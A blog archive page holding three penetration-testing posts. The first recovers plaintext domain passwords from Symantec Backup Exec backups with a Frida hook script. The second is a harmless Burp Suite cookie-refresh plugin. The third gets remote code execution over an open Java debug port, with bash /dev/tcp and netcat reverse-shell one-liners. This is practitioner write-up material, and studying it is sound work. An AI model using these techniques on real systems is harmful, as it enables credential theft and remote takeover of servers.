Monthly Archives: February 2014

From Read to Domain Admin – Abusing Symantec Backup Exec with Frida

Symantec (formerly Veritas) Backup Exec is one of my all-time favorites in pentest projects: it has a very nice list of vulnerabilities ranging form basic stack overflows through a hardcoded password to arbitrary file reads. Although most of these vulnerabilities aren’t new, some users tend to accept the risk of running unsupported versions because purchasing the new releases isn’t cheap. But this is not the best part from an attackers perspective.

Backup Exec is a backup software (surprise!) that by definition needs access to the most important parts of the domain (why would you backup something you don’t care about?), so as you get access to a Backup Exec instance theoretically you also get access to the most important data on the network. In practice all Backup Exec installations I  encountered had domain administrative access granted.

But how exactly can we escalate our privileges from a single Backup Exec instance?

My most recent “date”  with Backup Exec turned out a bit unusual. The software itself was the most recent version with all publicliy known bugs patched, but on the same host there was another “enterprice level” application that granted me limited file read rights through a pretty dumb vulnerability.

Since I didn’t have broad permissions and I didn’t know anything about the filesystem, I couldn’t access any interesting configuration files, password dumps or other precious loot. But I knew, my old lady is listening at port 10000, so I started to enumerate the default files of Backup Exec.

This software uses  MS SQL Server to store all the information required to perform backup and restore, but unfortunately the database files were inaccessible by my user. However the database backup located at <BackupExec Dir>\data\bedb.bak was readable!

So I grabbed the file and read Symantec’s documentation about the DB recovery process. After incrementing the infamous Lamer Counter a couple of times (#ProTip: if you use cURL to download something, don’t forget to remove the HTTP response headers from the output) I realized that this .bak file is just a standard MS SQL backup that you can parse with any SQL Server instance. 

In the recovered database you will find a table called LoginAccounts that contains all the domain usernames and passwords that were configured by the administrators of the system, to let BE access different hosts on the network. The trick is that the passwords are in some custom weird form that you can’t easily decipher.

Reversing the custom encryption

When you encounter a similar situation, you first have to figure out if the algorithm that produced the weird ciphertext depends on some configurable key. If it does, you’re probably out of luck, but if it doesn’t, your chances are good to recover some meaningful data in finite amount of time. 

I installed two separate instances of Backup Exec and configured two accounts with the same password. Then I queried the password on both instances to see if they are the same. Since the passwords are stored in an NVARCHAR (multibyte) field but the actual value is simple printable ASCII as the result of a simple SELECT you’ll get a bunch of not printable/alien characters which are hard to handle so you better cast to varbinary. But beware, the encrypted passwords are several hundred bytes long, and MSSQL truncates them by default so you have to use a query like this:

SELECT cast(AccountPassword as varbinary(1024)) FROM LoginAccounts;

Sample result after unhexlify:

ANdnf5Q7WkiWnRE8fB6mN3@ije2kL?LcG<B?IZ7M329neVU:QIBN>3lP<H_JF\PMYk[0KXZe4kVggR<HV@VB]BS64:_V<PlQQdR[TbcV^>\RN7@H]=THYc?`i:g4022kW1o[klm7D7T:ZnjOnUjbRon0aO;c6L61B5_3:Gh6j6[[D\j_Xe8ZiElZ0l][g0OGI3Rb=<7N;NV^>Ni?8<7_2`ENB^IHnMmhJXANfbo3gWeQK:_3bH`7A1l\L_j\eYEMkf_^`N0H7bm9U4bjW_BmaHVPB;1W1be5\No8nj>mlALn]=74Y`8X67^F;HSQefCeOH@GTQ7ABDSkE1AF<X:B=Y@3Dg_Ol9cjh>SFJ3d^gc;1]Ea6^S:TC^MC36XSc<HoPll9[j^2`S>iIjlU]Be\7]a2<HNK@U`f@FAE2ZBXPBONebD5Y;mG^G@b2ZZJXd3:AB@JQhM[0=Fg59=j7@NZe<Mcc?aIg[ld@37`\lU?Ca\TTn6DGE\8TP@2FB1l<W6<@:6PI1]?]oSVgMK7hkBmhD0]ZFWL<\OPdG?HoK52f7_A_1X]<K7C\NQJI\G?jG7YW4aN>Qj;hWRQ`AS4aSaB;?Y13a\18j@f:M`CQ>[i]XkaYTVF[d_j1K0R_m>U5AmdYL0gPc4DSJ=ND3M;dlHZ:WP0YoIC>4[IE:dMB<BQC34

 The ciphertexts were same which meant that there was no installation specific secret in my way. Great!

Backup Exec needs to access the plaintext data, so there has to be a decryption function somewhere. Since there are tons of executables and libraries included with the software, first I ran a fast script hoping I can find some helpful exports:

find . -name '*.dll' -exec strings -f {} \; | fgrep -i decrypt

The developers were kind enough with me, the output showed that bemsdk.dll exports a lot of interesting methods:

?Decrypt@CBemDataEncryptionKeyX@@QAEHXZ
?Decrypt@CBemLoginAccountX@@QAEHXZ
?Decrypt@CBemScriptDetail@@QAEXXZ
?Decrypt@CEncrypt@@QAEHPAEF0AAF@Z
?Decrypt@CEncrypt@@QAEHPA_W0@Z
?Decrypt@CEncrypt@@QAEH_NPA_W1@Z
?DecryptDataEncryptionKeyMap@CBemJobOptionsDeleteFromArchive@@QAEXXZ
?DecryptDataEncryptionKeyMap@CBemJobOptionsRestore@@QAEXXZ
?DecryptDataEncryptionKeyMap@CBemJobOptionsRestoreArchive@@QAEXXZ
?DecryptInPlace@CEncrypt@@QAEHPADH@Z
?DecryptInPlace@CEncrypt@@QAEHPAEAAF@Z
?GetDecryptedValue@CBemConfigParam@@QBE?AVmstring@@XZ
?GetDecryptedValue@CBemStructBase@@QBE?BVmstring@@PB_W@Z
?Decrypt@CBemDataEncryptionKeyX@@QAEHXZ
?Decrypt@CBemLoginAccountX@@QAEHXZ
?Decrypt@CBemScriptDetail@@QAEXXZ
?Decrypt@CEncrypt@@QAEHPAEF0AAF@Z
?Decrypt@CEncrypt@@QAEHPA_W0@Z
?Decrypt@CEncrypt@@QAEH_NPA_W1@Z
?DecryptDataEncryptionKeyMap@CBemJobOptionsDeleteFromArchive@@QAEXXZ
?DecryptDataEncryptionKeyMap@CBemJobOptionsRestore@@QAEXXZ
?DecryptDataEncryptionKeyMap@CBemJobOptionsRestoreArchive@@QAEXXZ
?DecryptInPlace@CEncrypt@@QAEHPADH@Z
?DecryptInPlace@CEncrypt@@QAEHPAEAAF@Z
?GetDecryptedValue@CBemConfigParam@@QBE?AVmstring@@XZ
?GetDecryptedValue@CBemStructBase@@QBE?BVmstring@@PB_W@Z

CBemLoginAccountX::Decrypt seems particularly interesting, let’s take a look at it in IDA:

As you can see, this method calls CEncrypt::Decrypt(wchar_t,wchar_t). It looks straightforward to LoadLibrary() this DLL in a small wrapper program and call CEncrypt::Decrypt() with the parameters dumped from the DB. But if you take a closer look, you can also see that depending on the object state the encrypted data may first run though a simple loop that uses a possibly dynamically constructed memory reqion (dirty_bastard on the pic) to transform the ciphertext before the actual encryption happens. I can reuse the Decrypt methods, but only after this region is constructed, so I turned to dynamic analysis.

My first night with Frida

I tried to attach a debugger to the management application (BkupExec.exe). First time I failed because the process was protected by a service called bedbg.exe, but killing it made it possible to attach with a debugger. But BkupExec.exe is a .NET application that uses bemsdk.dll thourh a wrapper assembly (bemsdkwrapper.dll) and my debugger became useless, because of all the dynamic memory magic performed by the process.

Luckily, at this time I’ve already took a look at Frida.RE, and although I’ve never used it before, it seemed like a good fit for this job. The concept was simple: hook CDecrypt::Decrypt(), replace its first argument with the ciphertext to be decrypted, wait for the method to finish and read the output buffer (second argument). Here’s the final code:

Interceptor.attach(ptr("0xdeadbeef"), { // address of CEncrypt::Decrypt()
	x:0,
	onEnter: function(args) {
		send("Decrypt (Before): ",Memory.readByteArray(args[0],697));
		a=Memory.readByteArray(args[0],128);
		args[0]=Memory.allocAnsiString("ciphertext"); // Your ciphertext here
		send("Decrypt (After): ",Memory.readByteArray(args[0],697));
		this.x=args[1];	
	},
	onLeave:function(retval){send("Leave: "+Memory.readUtf16String(this.x));}
	});

But the road that led me here wasn’t exactly straight.

First of all, I needed a way to trigger the password decryption somehow. I could theoretically fire a call to the decryption function myself but I couldn’t figure out a way to get the address of the newly created LoginAccountX instances (the question is still open at StackExchange). Luckily I found a way to trigger this action from the GUI: when creating new backup jobs, the management application checks if it can access the resource to be backed up using the default Login Account.

But my original script didn’t work.

The first problem was with character encodings (there is always a problem with the character encodings): the implementation of wchar_t is platform dependent; in my case, the output buffer turned out to be readable as a UTF-16 string, which was the last thing for me to try out. Also, I had to realize that although the API defines the ciphertext parameter as a wchar_t string, it has to be provided in simple ASCII. The lesson is when experimenting with Frida, always use Memory.readByteArray() first, implicit conversations of the V8 engine and your API (Python in my case) can mess things up badly.

Second, I used the create_script() method of the Python API to provide a JavaScript script as a string to Frida to run. This wasn’t the best idea, since my ciphertext contained backslashes, which need to be double-escaped in order to pass through both the Python and the JavaScript interpreters. I spent hours on figuring this out, LC++;

But finally my hook script was able extract the plaintext passwords for the Domain Administrator account (and several others).

Exploitation in Practice

Repeating the process is a bit time consuming:

  1. Grab a copy of bedb.bak
  2. Import the DB backup to an MS SQL database
  3. Copy the encrypted passwords
  4. Install Backup Exec (trial is available from Symantec)
  5. Install Frida.RE
  6. Get the address of the Decrypt() export
  7. Replace the appropriate parameters and attach to the BkupExec process with the above script 
  8. Trigger decryption by adding a new backup job

But it’s totally worth it: with read-only access on a BackupExec server (e.g. CVE-2005-2611)  you can get plain text user accounts (probably with high privileges). 

The dynamic analysis revealed, that you can also simply build a wrapper program around bemsdk.dll, since the problematic section of code is not called during the standard execution. I still find the Frida.RE way more convenient though.

I have to emphasize that this is not a vulnerability in Symantec’s product, but administrators should keep in mind that their passwords for backup accounts are stored in fully reversible form (equivalent to plaintext).

Testing websites using ASP.NET Forms Authentication with Burp Suite

Testing a website is usually considered just another day at work, Burp Suite is usually the tool of our choice for automating some of the scans that apply in this field. Assessing the authenticated part of the site is also common, and since Burp can be used as an HTTP proxy, it can capture our session tokens (usually HTTP cookies) and perform scans just like we’d do as humans. This token is usually remain unchanged over the time of the session, and the session itself is kept alive by the scanner activity itself.

However, a few weeks ago, we encountered an ASP.NET site that offered the regular ASP.NET_SessionId cookie and after successful login we got another one called .ASPXFORMSAUTH indicating that the application uses Forms Authentication. We started issuing requests including these two cookies, but within 5 minutes, the server started responding like we’re not logged in. Investigation followed, and we could reproduce that even by sending a request every 10 seconds, after 2 minutes pass from login, the requests with the two original cookies are denied. The operators confirmed that the session timeout is 2 minutes (which is resonable given the normal use-cases of the application), and looking at the responses revealed that around halfway between login and the 2 minutes deadline, a new .ASPXFORMSAUTH cookie is set by the server.

Apparently, Burp Suite ignored such Set-Cookie headers at the time both in its Scanner and Intruder modules, so I wrote a simple plugin that would hook HTTP requests within Burp and behave like a browser for this specific cookie. If such a cookie is received it gets stored as a protected field of the class, and subsequent requests will be modified to include the latest value. Since Burp uses multiple threads, this value also needs locking in order to avoid race conditions. Burp also offers some help with parsing and mangling HTTP headers, so besides hooking HTTP traffic and initialization, the plugin starts by storing a reference to an instance of the IExtensionHelpers interface.

public class BurpExtender implements IBurpExtender, IHttpListener
{
  protected IExtensionHelpers helpers;
  protected String cookie_value = null;
  public static final String COOKIE_NAME = ".ASPXFORMSAUTH";
 
  @Override
  public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
  {
    helpers = callbacks.getHelpers();
    callbacks.setExtensionName("AspxFormAuth");
    callbacks.registerHttpListener(this);
  }

By registering a HTTP listener, the processHttpMessage method will be called by Burp every time an HTTP request is issued, regardless of its source, including the browser, the Scanner or Intruder modules. The messageIsRequest parameter can be used to define different behavior for requests and responses; in case of former, any Cookie: headers with the matching name in the request will be updated to the latest value (if there’s one, hence the null check).

@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo)
{
  if (messageIsRequest)
  {
    synchronized (this) {
      if (cookie_value == null) return;
    }
    byte[] request = messageInfo.getRequest();
    IRequestInfo ri = helpers.analyzeRequest(request);
    List parameters = ri.getParameters();
    for (IParameter parameter : parameters) {
      if (parameter.getType() == IParameter.PARAM_COOKIE &amp;&amp;
          parameter.getName().equals(COOKIE_NAME)) {
        synchronized (this) {
          messageInfo.setRequest(helpers.updateParameter(request,
                helpers.buildParameter(COOKIE_NAME, cookie_value,
                  IParameter.PARAM_COOKIE)));
        }
      }
    }
  }

The only remaining task is feeding the cookie_value member with tokens by parsing responses. Again, the Burp helpers are used to analyze the headers and if a cookie with a matching name is found, its value is stored, taking special care to let only a single thread access the value at a time.

else
{
  IResponseInfo ri = helpers.analyzeResponse(messageInfo.getResponse());
  List cookies = ri.getCookies();
  for (ICookie cookie : cookies) {
    if (cookie.getName().equals(COOKIE_NAME)) {
      synchronized (this) {
        cookie_value = cookie.getValue();
      }
    }
  }
}

Using this technique, we’d been able to perform the assessment, the full source code can be found in a branch of our GitHub repository. If you don’t want to compile it for yourself, a binary JAR is also available on the release page. We’re also proud that since we released the Burp OAuth plugin this one is based on, former has been built upon and improved by SecureIdeas as part of their Co2 plugin.

JDB tricks to hack Java Debug Wire

During a recent project we found a Java Debug Wire Protocol interface open at a server. I was a bit surprised when I was able to attach to it using JDB, the Java debugger – this was too easy. Or was it?

Prdelka has a pretty decent write-up on the exploitation over JDWP: you can basically instantiate any class from the classpath (and you can set the classpath yourself with the -D switch of jdb) and luckily you can also directly call the exec() method of the java.lang.Runtime class practically achieving remote code execution. It goes like this:

print new java.lang.Runtime().exec("ls")
 new java.lang.Runtime().exec("ls") = "java.lang.UNIXProcess@481adc30"

Well, that’s great, how about getting the output back or even an interactive shell maybe? That’s when things go painfully Java.

If you open the documentation of JDB you don’t see too much features to work with: a handful of commands, no scripting support and as it turns out the expression syntax  is also undocumented.

After a bit of experimenting you’ll find that although you can instantiate classes and call their methods, there is no easy way for storing the actual object instances which is pretty bad since Java requires a ton of boilerplate code for pretty much every basic operation. For example getting back one line of exec() output looks like this:

print new java.lang.String(new java.io.BufferedReader( \
new java.io.InputStreamReader( \ 
new java.lang.Runtime().exec("id").getInputStream())).readLine())
 new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("id").getInputStream())).readLine()) = "uid=1000(b) gid=1000(b) groups=1000(b)"

Still, I couldn’t figure a way to put this whole thing in a loop to read more lines. What about getting a reverse shell and getting rid of all the InputStream handling? Netcat was available on the target but without the -e option (aka GAPING_SECURITY_HOLE) enabled. There are of course a ton of other options to achieve the same result, but they all require either shell stream redirection or at least quoting. Since Runtime.exec() passess the commands directly to the OS, shell syntax doesn’t work immediately and also quotation marks are handled in a rather weird way by the JDB shell, so things like exec(“bash -c \”your > command\””) don’t work as expected. 

One possible solution to come over these limitations is to write out a shell script and then invoke it:

print new java.io.PrintWriter(new java.io.PrintWriter("/tmp/S2.sh"),true).println("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1")

Note that since you can’t close() the PrintWriter instance you have to enable automatic flush that actually requires a PrintWriter instance to be wrapped by an other one…

The more elegant solution is to use Runtime.exec(String[]) interface and let the API take care of quotation. The problem is that it seems you can’t simply declare an array in the jdb shell. Luckily though you can invoke the split() method on a freshly instantiated String object:

print new java.lang.Runtime().exec(new java.lang.String("bashS2-cS2mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f").split("S2"))

So we successfully got our interactive shell with the privileges of the application server. Also, by this time PZ got root in a totally different way on the same server, more about that in a later post :)

If you know other useful tricks for JDB, don’t hesitate to share it in the comments!